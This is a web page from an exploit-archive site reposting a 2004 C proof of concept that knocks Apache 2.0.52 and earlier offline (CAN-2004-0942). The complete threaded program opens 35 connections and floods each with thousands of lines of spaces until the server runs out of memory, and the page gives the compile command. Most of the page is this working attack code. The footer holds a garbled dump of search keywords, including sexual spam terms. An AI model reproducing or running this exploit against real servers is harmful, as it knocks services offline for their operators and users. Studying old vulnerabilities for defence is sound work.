about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Apache <= 2.0.52 HTTP GET Remote Denial of Service Exploit



2004-11-18 Apache <= 2.0.52 HTTP GET Remote Denial of Service Exploit
CAN-2004-0942

/*
Apache Squ1rt, Denial of Service Proof of Concept
Tested on Apache 2.0.52

j0hnylightning gmail .om
dguido gmail com

Sends a request that starts with:
GET / HTTP/1.0\n
8000 spaces \n
8000 spaces \n
8000 spaces \n
...
8000 times

Apache never kills it. Takes up huge amounts of
RAM which increase with each connection.

Original credit goes to Chintan Trivedi on the
FullDisclosure mailing list:
http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html

More info:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942

Versions between 2.0.35 and 2.0.52 may be vulnerable,
but only down to 2.0.50 was tested.

This attack may be preventable with a properly configured
iptables ruleset. Gentoo already has a patch out in the
2.0.52-r1 release in the file 06_all_gentoo_protocol.patch

v2
Rewritten to use pthread.
gcc apache-squ1rt.c -lpthread
*/

#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#define DEST_PORT 80

void *squirtIt(char *hName);

char attackBuf[8000];
char letsGetStarted[128];

int main(int argc, char **argv){
	int num_connect;
	int ret;
	pthread_t tid[35];

	sprintf(letsGetStarted, "GET / HTTP/1.0\n");
	memset(attackBuf, ' ', 8000);
	attackBuf[7998]='\n';
	attackBuf[7999]='\0';

	if (argc != 2){
		fprintf(stderr, "Usage: %s <host name> \n", argv[0]);
		exit(1);
	}

	for(num_connect = 0; num_connect < 35; num_connect++){
		ret = pthread_create(&tid[num_connect], NULL, (void *)squirtIt,
argv[1]);
	}
	
	/* assuming any of these threads actually terminate, this waits for all
of them */
	for(num_connect = 0; num_connect < 35; num_connect++){
		pthread_join(tid[num_connect], NULL);
	}

 return 0;
}

void *squirtIt(char *hName){ 
	int sock, i;
	struct hostent *target;
	struct sockaddr_in addy;

	if((target = gethostbyname(hName)) == NULL){
		herror("gethostbyname()");
		exit(1);
	}

	if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
		perror("socket()");
		exit(1);
	}

	addy.sin_family = AF_INET;
	addy.sin_port = htons(DEST_PORT);
	bcopy(target->h_addr, (char *)&addy.sin_addr, target->h_length );
	memset(&(addy.sin_zero), '\0', 8);

	if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){
		perror("connect()");
		exit(1);
	}

	send(sock, letsGetStarted, strlen(letsGetStarted), 0);

	for(i=0; i < 8000; i++){
		send(sock, attackBuf, strlen(attackBuf), 0);
	}

	close(sock);
}


securitydot.net - 2004-11-18

Advertising

Copyright 2007, SecurityDot
Mon, 06 Oct 2008 17:41:55 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
kernel 2.4 www. sexgi www.00v00 5.2 www.vedio www.inding indian+sex i want ban Sexigirls cellbazar Www indian www.700com www.aish.c Www.Cinese CMS is Fre xnxx(www-x 200 /compo mambo Remo Text sex primer pla cokie Acs php-nuke 2 /search/ex lara dutta CVE : CVE- Blue film. www.bolly Photo pic naked sexe lightttp Pikcher cellbazar free india Tamilsexs www .masal CMS is Fre www.alakaz RFI paymen Sexcy ram Download o Www.analte nepalsex Top 10 hit news for c sxs.sat.co cross-site login.php Indian sex t760t